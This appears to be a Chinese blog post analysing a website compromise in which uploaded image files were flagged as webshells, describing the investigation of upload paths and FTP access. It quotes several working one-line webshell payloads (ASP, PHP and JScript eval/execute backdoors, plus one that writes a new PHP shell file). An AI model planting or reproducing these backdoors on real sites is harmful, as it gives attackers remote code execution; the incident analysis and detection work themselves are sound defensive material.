网站图片挂马检测及PHP与python的图片文件恶意代码检测对比

周一一早网管收到来自阿里云的一堆警告，发现我们维护的一个网站下有数十个被挂马的文件。网管直接关了vsftpd，然后把警告导出邮件给我们。

取出部分大致如下：

服务器IP/名称 木马文件路径 更新时间 木马类型 状态(全部)
*.*.*.*   /path/*144.gif   2017/8/7 5:53   Webshell   待处理  
*.*.*.*   /path/*132.jpg   2017/8/7 5:23   Webshell   待处理  
*.*.*.*   /path/*156.txt   2017/8/7 5:22   Webshell   待处理  
*.*.*.*   /path/*0304.jpg   2017/8/7 5:22   木马文件   待处理  
分析

检查vsftpd后发现之前已经配置了只允许我们公司的ip访问的限制。
分析路径后发现，触发警报的文件均为同一路径下。
经过分析代码得出结论，只有通过管理端的上传图片功能或者使用管理端编辑器的图像上传功能才能将图片放入此文件夹内。
而触发木马警报的文件中有90%是交接前的文件（我们在交接时只验证了代码功能而忽视了图片安全性，失策）。

检查

path文件夹下，git内（交接之日收到的文件）的待检查加上FTP上（交接之日之后维护上传的文件）一共有1320个，分散在数个层级不等的文件夹内。
使用Notepad++检查警告中显示的图片文件后发现，木马类型为Webshell或木马文件的图片或文件内含有恶意代码例如：

<%execute(request("a"))%> <?php eval($_POST['a']);?> <?fputs(fopen("TNT.PHP","w"),"<?eval(\$_POST[TNT]);?>")?> <% @Page Language="Jscript"%> <%eval(Request.Item["TNT"],"unsafe");%>